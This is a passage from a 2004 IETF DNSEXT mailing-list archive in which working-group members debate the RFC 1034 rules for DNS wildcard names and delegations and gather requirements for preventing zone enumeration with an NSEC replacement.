Where <NAME> is taken from the I-D's file name draft-ietf-dnsext-<name>-<version> and the <title> is a short description of the issue presented. Please use the following template to submit an issue: To: namedroppers@ops.ietf.org Cc: document-editor@foo.example Subject: FOO-RR-PROCESSING ISSUE: BLA-bit vs FOO-flag interop problem One line description of issue name: Your_Name_Here email: Your_Email_Address_Here Date: Insert_Date_Here Reference: URL to e-mail describing problem, if available Type: ['T'echnical | 'E'ditorial] Priority: ['C'ritical | 'U'rgent | 'B'ug | 'F'eature | 'W'ish ] Document: draft-ietf-dnsext-<name>-<version> Section: Insert_Section_Number_Here Rationale/Explanation of issue: Length description of problem Requested change: Proposal The proposal for the requested change is the most important bit of the issue. Providing a proposed text will focus discussion and relieves the document-editors. A new issue MUST therefore contain a text in the 'requested change' field. Once a new "ISSUE" message is received on the list the chairs or document editors will add the issue to the document tracker and reply to the list providing a URL and a relevant issue identifier. == Discussion of issues. Discussion of issues takes place on the list. Please reply 'in-thread' when discussing an issue and try to stay within scope of the issue at hand. The chairs or the document editors will copy relevant messages, or abstracts thereof to the issue tracker so that the gist of the discussion can be followed using the tracker. There may be a few days lag between the list and the tracker. The archive remains the authoritative log for the discussion. == Bouncing of issues The chairs may decide not to create a entry in the issue tracker if an issue does not relate to a working group document; the issue has already been discussed and the issue has been closed; if there is no proposed change or; if the issue is irrelevant to any of the working group documents. == Discussion of matters not in the issue tracker. Feel free to bring up matters that are not related to working group documents (but appropriate to the group); they do not need an issue tracking number. == Closing of issues. Chairs or document editors will close issues once resolved. In the tracking system a note will be made in which document version the issue was resolved. --- NOTE WELL: All statements related to the activities of the IETF and addressed to the IETF are subject to all provisions of Section 10 of RFC 2026, which grants to the IETF and its participants certain licenses and rights in such statements. Such statements include verbal statements in IETF meetings, as well as written and electronic communications made at any time or place, which are addressed to - the IETF plenary session, - any IETF working group or portion thereof, - the IESG, or any member thereof on behalf of the IESG, - the IAB or any member thereof on behalf of the IAB, - any IETF mailing list, including the IETF list itself, any working group or design team list, or any other list functioning under IETF auspices, - the RFC Editor or the Internet-Drafts function Statements made outside of an IETF meeting, mailing list or other function, that are clearly not intended to be input to an IETF activity, group or function, are not subject to these provisions. ---------------------------------------------------------------------- $Id: dnsext-list-policy.txt,v 1.7 2004/05/17 12:46:38 olaf Exp $ -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: dictionary attack on nameservers Date: Wed, 1 Sep 2004 11:14:52 +0200 Organization: RIPE NCC Lines: 47 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 01 11:26:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <20040728190530.GA22758@atoom.net> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled X-RIPE-Signature: 19889153d8b9c30a04e982552768966c Precedence: bulk Dear Colleagues, I returned from vacation and saw that this thread, and the related "What I mumbled at the mike today" had developed during my absense. I started reading it with the intention to make an abstract of the discussion. The shear amount of side tracks and circles in arguments make this virtually impossilbe. I counted 191 messages with a total of 15127 lines (including headers). I want to close this thread by giving every participant the opportunity to state their concluding argument in not more than 20 lines of text. Please make an abstract of your own concluding arguments (some people may have changed their opinions) please do not start discussing these arguments again. If you can phrase your arguments as a set of (measurable) requirements for further protocol development that would be fab. Note that we are trying to take the work on preventing zone enumeration seriously and that we are trying to get the requirements done. At least one of the messages burried in the thread was relevant to that and didn't get any followup. Also read: http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01237.html I am trying to get something sensible out of this that will allow us to go forward or, if needed, conclude, in a decent fashion. -- Olaf DNSEXT Co-Chair. ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: wild cards Date: Wed, 1 Sep 2004 11:56:47 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 01 18:13:30 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Yes, I'm actually spending time on the draft... I have a question relating to what's a legal name. Yea, I've asked this before, a few months ago. But the answer I got then does not agree with what's in the minutes for the last (err, most recent?) meeting of the WG in Minneapolis. Here is a message from the list (June 2): http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg00810.html Here is what is said in the minutes (Minneapolis, Nov 2003): http://ops.ietf.org/lists/namedroppers/namedroppers.2003/msg02219.html, specifically - >Issue (4b): Whether or not "*" can be in the middle of a name. There >was no discussion in the room on this one. The basic issue is that >the draft goes to great length to talk about how this is handled. >Later on, someone noticed that 1034 discourages this. > > >Although there is no sentiment to allow these names, nor is there any common >use, if the names are barred as in 1034, then more rules are needed to >specify what happens when they are (mistakenly?) seen. If the rules aren't >specified then behavior is unpredicatable - perhaps in ways that don't >matter very much. > >An older mail list discussion leaned toward staying with 1034's definition. In RFC 1034, this is, as far as I can tell, the definition: # The owner name of the wildcard RRs is of # the form "*.<anydomain>", where <anydomain> is any domain name. # <anydomain> should not contain other * labels, and should be in the # authoritative data of the zone. So, should I take this to mean that: a.*.example.com is legal and *.example.com synthesizes records *.*.example.com is illegal and "is an error" (on load of zone/dynamic update)? *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: wild cards Date: Thu, 02 Sep 2004 11:35:31 +1000 Lines: 75 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 03:51:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 01 Sep 2004 11:56:47 -0400." <a06020407bd5b9bc9d506@[192.168.1.100]> Precedence: bulk > Yes, I'm actually spending time on the draft... > > I have a question relating to what's a legal name. Yea, I've asked > this before, a few months ago. But the answer I got then does not > agree with what's in the minutes for the last (err, most recent?) > meeting of the WG in Minneapolis. > > Here is a message from the list (June 2): > > http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg00810.html > > Here is what is said in the minutes (Minneapolis, Nov 2003): > > http://ops.ietf.org/lists/namedroppers/namedroppers.2003/msg02219.html, > specifically - > > >Issue (4b): Whether or not "*" can be in the middle of a name. There > >was no discussion in the room on this one. The basic issue is that > >the draft goes to great length to talk about how this is handled. > >Later on, someone noticed that 1034 discourages this. > > > > > >Although there is no sentiment to allow these names, nor is there any common > >use, if the names are barred as in 1034, then more rules are needed to > >specify what happens when they are (mistakenly?) seen. If the rules aren't > >specified then behavior is unpredicatable - perhaps in ways that don't > >matter very much. > > > >An older mail list discussion leaned toward staying with 1034's definition. > > In RFC 1034, this is, as far as I can tell, the definition: > > # The owner name of the wildcard RRs is of > # the form "*.<anydomain>", where <anydomain> is any domain name. > # <anydomain> should not contain other * labels, and should be in the > # authoritative data of the zone. > > So, should I take this to mean that: > > a.*.example.com is legal and *.example.com synthesizes records > *.*.example.com is illegal and "is an error" (on load of zone/dynamic updat > e)? > *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) I suspect the intent was to only allow "*" as the left most label. a.*.example.com and *.*.example.com would both be illegal if this was the case. Allowing a.*.example.com but disallowing *.*.example.com is stupid. You either allow both or disallow both. Mark > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: more wild cards Date: Wed, 1 Sep 2004 21:48:42 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 03:59:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk I've been looking at the text as it stands and the minutes of the meeting in Minneapolis. Besides the name question - 1) * SOA. The text goes to great lengths to say that this is doable in one sense, but in another sense it's stupid. I.e., Step 2 of the algorithm in RFC 1034 (sect 4.3.2) says "pick the zone". If you can generate zones on the fly, you do it here. The problem is, you really can't. Let's say you have example.com and *.example.com on the server. I ask for www.cnn.example.com. In step 2, you can't just generate cnn.example.com - because you don't know if there's an NS RR set for cnn.exmample.com in example.com. I.e., you'd have to do step 2, then step 3. If in step 3 you'd decide to send a referral, you would then have to go back to step 2 and generate. Now, I realize that the algorithm is a suggestion, that the sequential nature of step 2 and step 3 isn't strict - but I don't think the intent was to do step 2 - 3 - 2 (again) - 3 (again). I'm suggesting that we declare a * SOA to be an load/update error. 2) * NS. The text talks around this too, with the discussion being rather vague. But at the end of the meeting I recall someone say: "You have to be authoritative for the data to synthesize records, and if you see * NS, you are not in the authoritative zone." I forget who said it, it isn't in the minutes, but I think that's a sharp observation. (I didn't see it, and I have been staring at wild cards for some time now.) I'm suggesting that * NS be a load/update error. 3) * CNAME. From memory, we wanted to alter the algorithm to make this "chaseable" in the answer generation. I'm going to recover the text on this and put it in. There's a blurb about fixing DNAME, I'll do that. At this moment, I think that captures the main pending changes that I have questions about. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: wild cards Date: Thu, 2 Sep 2004 10:17:13 +0200 Organization: RIPE NCC Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 10:34:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000020 / 0.0 / 0.0 / disabled X-RIPE-Signature: c5ef494c58a52fe9896101de2b1d8e50 Precedence: bulk > In RFC 1034, this is, as far as I can tell, the definition: > > # The owner name of the wildcard RRs is of > # the form "*.<anydomain>", where <anydomain> is any domain name. > # <anydomain> should not contain other * labels, and should be in the > # authoritative data of the zone. > > So, should I take this to mean that: > > a.*.example.com is legal and *.example.com synthesizes records That is not the way I read the Scripture. If a.*.example.com would have been legal I would have expected text like: [<anydomain>.]*.<anydomain> where anydomain is any domain name. > *.*.example.com is illegal and "is an error" (on load of > zone/dynamic update)? Is exactly what I would read. > *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) But here you have my personal opinion. I wonder how implementors have interpreted the scripture. Are there any implementations that deal in one of the ways Ed described? That is synthesise the * in a.*.example.com? - Olaf (namedropper) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Thu, 02 Sep 2004 20:48:49 +0700 Lines: 85 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:09:26 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> Precedence: bulk Date: Wed, 1 Sep 2004 11:56:47 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020407bd5b9bc9d506@[192.168.1.100]> | a.*.example.com is legal and *.example.com synthesizes records | *.*.example.com is illegal and "is an error" (on load of zone/dynamic update)? | *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) First answer is that there is no such thing as an "illegal" domain name (based upon content) - the only restrictions are on length. 1 character domain names are clearly legal, whatever the character (octet value really) is (including '\0' and '*'). You cannot refuse to load zones just because you don't like some of the names that are in it (well, you can, if that's what the owner of the domain wants - but not just because the software author prefers it that way, or not without the software being defective). Second part ... Wildcards are relevant only for domain name lookup - when looking up the name in a query, if no exact match is found, a search is done at the same level of the tree for a '*' label - if that one is found, it matches the entire rest of the query (no more searching happens). That makes things like *.*.example.com and a.*.example.com meaningless for this kind of query. If we assume there is no x.example.com in the zone, and I make a query for q.x.example.com any of the "wildcard" names in this message (my text or the quoted text) match it. That is, we're searching example.com for 'x', not found, search example.com for the '*' wildcard - found, that then matches the "q.x" part of the query, and we look no more. It is most certainly not the case that the existence of (just) a.*.example.com in a zone makes a lookup of a.x.example.com succeed, but one of b.x.example.com fail - if x.example.com matches the wildcard at all (there is no x.example.com in the zone) then a query for any sub-domain of x.example.com also matches the wildcard (the same wildcard). There is no way to limit that. Third part ... If we do a query for a.*.example.com we end up searching example.com for '*' not as a wildcard, but as a label, in this case we find it, just as a label, and go on to look for the sub-domain of *.example.com that we're querying ('a') in this case, in exactly the same manner that we would if the '*' was replaced (in both the query and the zone) by 'z'. Here, if a.*.example.com exists in the zone, then it matches the query, and the results are returned. If there's no a.*.example.com in the zone file, then we do a wildcard lookup (look for a '*' inside the *.example.com domain) and if that one exists, it provides the answers. If it doesn't, NXDOMAIN. All this stuff is really amazingly simple if you consider the name space as a tree, and always think of it that way, and then obey the 1034 lookup algorithm. It is only when you start to concentrate on zone file formats, and textual representations, that things start to look more complex and messy. So don't do that. Fourth part ... No-one can really count upon any of the implementations actually implementing all of these corner cases correctly (and certainly not all of them). So, for all practical purposes anything except a solitary '*' as the leftmost label in a name loaded into a zone file is simply going to produce random undefined results, and no-one should be doing such a thing (but that people shouldn't do it doesn't mean that the implementations should attempt to enforce that restriction). The best thing is to simply consider all this as "undefined behaviour". kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> Subject: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 09:57:28 -0400 Lines: 37 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:10:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk Previously, on 11 August, I sent a message to the list which can be seen at http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01465.html Based on Olaf's last e-mail I wanted to summarize that message and talk about some other related issues (such as getting one agreed-upon definition for "security by obscurity") but I couldn't fit the full argument into 20 lines. I also wanted to make one last call for desirements and requirements related to NSEC/zone enumeration/etc--so that Ben and I can get a next draft of the collected requirements out for review and prioritization. Bottom line--I believe that a replacement for NSEC that does not provide for easy zone enumeration is both worthwhile (will make it easier to address both privacy and security concerns that DNS users will have) and realistic. I further believe that it *should* be possible to find a replacement for NSEC in parallel with an initial roll-out of DNSSECbis to several major zone. I only wish I'd whined more about NXT zone walking back in 1999, when I first decided that it might be a real stumbling block for DNSSEC acceptance. Comments on the above, and *any last requirements* requested. --Rip (And yes, I *still* went over 20 lines.) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Thu, 2 Sep 2004 10:37:35 -0400 Lines: 174 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:52:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <25125.1094132929@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 20:48 +0700 9/2/04, Robert Elz wrote: > Date: Wed, 1 Sep 2004 11:56:47 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020407bd5b9bc9d506@[192.168.1.100]> > > | a.*.example.com is legal and *.example.com synthesizes records > | *.*.example.com is illegal and "is an error" (on load of >zone/dynamic update)? > | *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0) > >First answer is that there is no such thing as an "illegal" domain name >(based upon content) - the only restrictions are on length. 1 character >domain names are clearly legal, whatever the character (octet value really) >is (including '\0' and '*'). > >You cannot refuse to load zones just because you don't like some of the >names that are in it (well, you can, if that's what the owner of the >domain wants - but not just because the software author prefers it that >way, or not without the software being defective). It's true that there is no other restriction on a domain name other than label and total length. And 1034 does mention that the null label is reserved for the root - not the null name, but the null label. (So I think an encoding of "0x00 0x03 A B C" as illegal in the sense that the label "ABC" is trailing garbage.) This doesn't bar us from now defining domain names as illegal - keeping in mind that anytime we do something for the first time we run the risk of problems elsewhere. > > >Second part ... > >Wildcards are relevant only for domain name lookup - when looking up the >name in a query, if no exact match is found, a search is done at the same >level of the tree for a '*' label - if that one is found, it matches the >entire rest of the query (no more searching happens). > >That makes things like *.*.example.com and a.*.example.com meaningless >for this kind of query. That's not entirely clear to me. For the moment, let's assume there's no barring of *.*.example.com. Let's say we have there records (assuming IN class all the way): example.com SOA *.example.com A 1.1.1.1 *.*.example.com A 2.2.2.2 a.*.example.com A 3.3.3.3 Query for (*.example.com A) -> 1.1.1.1 is the return, exact match Query for (a.example.com A) -> 1.1.1.1 with closest encloser example.com Query for (a.*.example.com A) -> 3.3.3.3 exact match, I think. Query for (b.*.example.com A) -> 2.2.2.2 with closest encloser *.example.com Query for (b.a.example.com A) -> 1.1.1.1 with closest encloser example.com IOW - *.*.example.com creates a shadow between *.example.com and any subdomain of that name. Okay, RFC1034 forbids ("discourages") *.*.example.com. Let's strike it from the example. example.com SOA *.example.com A 1.1.1.1 a.*.example.com A 3.3.3.3 Query for (*.example.com A) -> no change from before Query for (a.example.com A) -> ditto Query for (a.*.example.com A) -> ditto Query for (b.*.example.com A) -> NXDOMAIN Query for (b.a.example.com A) -> no change from before There's a change for queries in the shadow of *.example.com - they become NXDOMAIN if not listed in the zone file. So - I wouldn't say they are "meaningless." >If we assume there is no x.example.com in the zone, and I make a query >for q.x.example.com any of the "wildcard" names in this message (my text >or the quoted text) match it. Not really - *.*.example.com isn't "*" + $closest_encloser. (*.example.com is). >That is, we're searching example.com for 'x', not found, search example.com >for the '*' wildcard - found, that then matches the "q.x" part of the query, >and we look no more. Yeah. Maybe I misunderstood the previous "in this message" comment. >It is most certainly not the case that the existence of (just) a.*.example.com >in a zone makes a lookup of a.x.example.com succeed, but one of >b.x.example.com fail - if x.example.com matches the wildcard at all >(there is no x.example.com in the zone) then a query for any sub-domain of >x.example.com also matches the wildcard (the same wildcard). There >is no way to limit that. In my world, a.*.example.com wouldn't match a.x.example.com, *.example.com is the match. Same for b.x.example.com - it is matched by *.example.com because there is no x.example.com. If I ask for (x.example.com, A) I get an answer of "1.1.1.1", so there is an answer for the name, but it doesn't exist explicitly. Maybe there's the conundrum. In this instance I have an answer for a name that does not block wild card matching. "x.example.com" returns data (A) but does not stand in the way of b.x.example.com and *.example.com. Without DNSSEC, this could be terribly confusing to the astute resolver. My interest in this topic is more than academic (not that you are insinuating I'm being academic). When I sat in on MARID in May, they wanted to be able to have a record like: _marid.*.example.com. (ref: http://www.imc.org/ietf-mxcomp/mail-archive/msg01597.html) The options are to stand aside and let this be, create the notion of an illegal name, or to muffle the synthesis rules if *.<anydomain> has a (non-empty) subdomain itself. >Third part ... > >If we do a query for a.*.example.com we end up searching example.com for '*' >not as a wildcard, but as a label, in this case we find it, just as a label, >and go on to look for the sub-domain of *.example.com that we're querying >('a') in this case, in exactly the same manner that we would if the '*' >was replaced (in both the query and the zone) by 'z'. Here, if >a.*.example.com exists in the zone, then it matches the query, and the >results are returned. If there's no a.*.example.com in the zone file, >then we do a wildcard lookup (look for a '*' inside the *.example.com domain) >and if that one exists, it provides the answers. If it doesn't, NXDOMAIN. > > >All this stuff is really amazingly simple if you consider the name space as a >tree, and always think of it that way, and then obey the 1034 lookup >algorithm. >It is only when you start to concentrate on zone file formats, and textual >representations, that things start to look more complex and messy. So >don't do that. That's what I've been saying about wild cards for some time. "They aren't confusing, they're just misunderstood." >Fourth part ... > >No-one can really count upon any of the implementations actually >implementing all of these corner cases correctly (and certainly not >all of them). So, for all practical purposes anything except a solitary >'*' as the leftmost label in a name loaded into a zone file is simply >going to produce random undefined results, and no-one should be doing >such a thing (but that people shouldn't do it doesn't mean that the >implementations should attempt to enforce that restriction). The >best thing is to simply consider all this as "undefined behaviour". The effort is to get everyone to interoperate on this. We want to stomp on corner cases that have gone haywire. If not for just academic purity, but to be able to explain to groups like the MARID WG why "_marid.*.example.com" doesn't behave as they think it does. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Thu, 02 Sep 2004 21:29:10 +0700 Lines: 156 Sender: owner-namedroppers@ops.ietf.org References: <a06020401bd5c29d82510@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 16:54:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020401bd5c29d82510@[192.168.1.100]> Precedence: bulk Date: Wed, 1 Sep 2004 21:48:42 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020401bd5c29d82510@[192.168.1.100]> | I've been looking at the text as it stands and the minutes of the | meeting in Minneapolis. Besides the name question - | | 1) * SOA. The text goes to great lengths to say that this is doable | in one sense, but in another sense it's stupid. I.e., Step 2 of the | algorithm in RFC 1034 (sect 4.3.2) says "pick the zone". If you can | generate zones on the fly, you do it here. | | The problem is, you really can't. | | Let's say you have example.com and *.example.com on the server. I | ask for www.cnn.example.com. In step 2, you can't just generate | cnn.example.com - because you don't know if there's an NS RR set for | cnn.exmample.com in example.com. I.e., you'd have to do step 2, then | step 3. If in step 3 you'd decide to send a referral, you would then | have to go back to step 2 and generate. | | Now, I realize that the algorithm is a suggestion, that the | sequential nature of step 2 and step 3 isn't strict - but I don't | think the intent was to do step 2 - 3 - 2 (again) - 3 (again). I follow your reasoning, but I don't think I agree with this result. Once again you're confusing the zone name tree, with the lookup algorithm. There is nothing at all wrong with '*' as a domain name, and queries for names with '*' as one of the labels work (or should work) just fine. Given this, there's also no reason why '*' cannot be delegated to a different (or the same) server(s), in which case it needs an SOA record, just like any other delegated domain. Then there's the separate question, that of the lookup algorithm, and whether or not this particular '*' ever plays any role in lookups as a wildcard. Here we need to investigate what happens when we do a lookup, if we have '*' as a delegated sub-domain (which it must be to have an SOA record). This one is pretty simple, 4.3.3,. which explains wildcards, says quite clearly Wildcard RRs do not apply: - When the query is in another zone. That is, if we're searching example.com for x.example.com, and there is no x.example.com we cannot go through a delegation point to find a wildcard there, so the delegated *.example.com domain is simply a (perfectly valid) domain, and has nothing whatever to do with wildcards. If there's a SOA for *.example.com, then '*' must be delegated, hence it cannot possibly be relevant to the lookup algorithm as a wildcard. | I'm suggesting that we declare a * SOA to be an load/update error. No, you shouldn't do that. There's nothing invalid or illegal about it. This stuff all gets confused whenever anyone starts talking about dynamic zone creation. Certainly a server could implement a method of dynamically creating zones on the fly (when a query for one is made, or whenever else it wanted to), but there is absolutely nothing in 1034/1035 (or anywhere else) that provides any support for such a mechanism. Certainly wildcards cannot make it work. | 2) * NS. The text talks around this too, with the discussion being | rather vague. But at the end of the meeting I recall someone say: | | "You have to be authoritative for the data to synthesize records, and if you | see * NS, you are not in the authoritative zone." | | I forget who said it, it isn't in the minutes, but I think that's a | sharp observation. (I didn't see it, and I have been staring at wild | cards for some time now.) All this is true. You can't go through delegation points with wildcards. But a '* NS' record is still perfectly valid, that's the only way that we can delegate the '*' domain, which is a perfectly valid name. Once again, separate out the DNS tree, from everything else, and examine the algorithms as specified in 1034 carefully, you'll see that there's absolutely nothing preventing a query containing '*' as a name, and no reason at all that name can't literally match a '*' in a zone. For this purpose the '*' is identical to any other label. So | I'm suggesting that * NS be a load/update error. once again, no, you cannot do that. But just as in the case of the SOA record, if you examine the algorithm as it is specified in 1034, you'll see that unless we're doing a NS lookup, a '* NS' name can never be found. There's absolutely nothing in the algorithm that supports treating a '*' there as a wildcard (well, you could treat it as a wildcard when doing an A (etc) lookup, but the NS record, which is all that can exist - anything else goes in the auth data, isn't an A record, so no data would ever be found - the NS records for '*' can never appear as a delegation point for any query name other than '*', you don't even have to read the algorithm all that clearly to see that. There is no wildcard lookup part in the referral algorithm. If we are doing an NS lookup, for x,example.com and an '* NS' record exists, then that record matches as a wildcard, and the NS records are (should be) returned. That's no different than a lookup for an A record when '* A' exists (and the actual query name does not). Note that this doesn't have any effect upon normal name lookups, which don't (or shouldn't) be doing queries with qtype=NS - those queries are reserved for diagnostics. NS records are an internal DNS artifact, and have no business being used by anyone else. Were there to be a resolver which (incorrectly) iteratively descended the DNS tree by asking for NS records all the way down the name, one label at a time (wouldn't work in many cases, but ...) then what that broken resolver would discover would just be a lame delegation. It would seem that x.example.com had been delegated to the servers listed in the '* NS' record, but there would in fact almost certainly be no such zone at those servers. (I suppose the delegated servers might happen to have it - but most likely only for delegations that used to exist in the past but haven't been cleaned up yet). No normal lookup would ever locate it. There is no need to make anything here illegal, or cause zone load failures. All that is necessary is to explain how the various possible records apply to the lookup algorithm, which is the only context in which the word "wildcard" makes any sense in the DNS algorithms. | 3) * CNAME. From memory, we wanted to alter the algorithm to make | this "chaseable" in the answer generation. I'm going to recover the | text on this and put it in. As I recall the latest draft (and in that I include both the latest posted draft, and the half complete next version I returned to you), the text that changed the spec for this purpose was still there. This one is clearly a change to the algorithm, but one that is in accordance with the principle of least surprise, so it is not an unreasonable change. | There's a blurb about fixing DNAME, I'll do that. I thought that the "fixing DNAME" was going to be punted into a revision of the DNAME specification, if/when one ever appears. That, or the "DNAME is just a CNAME generator" text which is already there was supposed to be going to be enough for DNAME, wasn't it? kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri 